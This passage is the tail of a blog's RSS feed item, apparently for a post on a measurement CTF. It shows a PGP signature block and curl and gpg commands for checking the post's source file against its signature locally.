iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
jSr&#43;7xAAjpbfTK8k&#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy&#43;fTISF9Q&#43;hRfMX
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v&#43;drZ2YVGk9mKW4FBfzbb1
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
35YFa3A1GMUiKAHcemIqJnDZuIInQa&#43;OuPIDPGQva93I20eIn40nIVDLDsY15X&#43;R
FyxKVBAwO94We2g&#43;lxhey&#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
oLsZXNoKbyZ2eXYF0f54it9JdDo&#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV&#43;
zNn5DrhIk5f4FMjJGUnO1QH&#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b&#43;
//J/Fdzi1YbKFyQlk9zfUUL&#43;1vMoSbkORd7S3JYkibTns&#43;uD9LxW27WIEcvYRw0K
MlzdYdPXNCJZUDswt7HZCgQv66zF9&#43;pLkQ/8rl&#43;RVOMW9GqJmE6O0uh4xmPDE8vS
YK3/9gFIcXVMy7WsIwEx&#43;xWQqcm815OZSIrw4kvt1&#43;seZ8lUURmoAWRDEFrFUTCG
zB6tKRPKoID643AdO&#43;Cb&#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
=BDGe
-----END PGP SIGNATURE-----
</pre>
</details><p><em>Verify locally:</em></p>
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
</pre>
</div>
]]></content:encoded></item></channel></rss>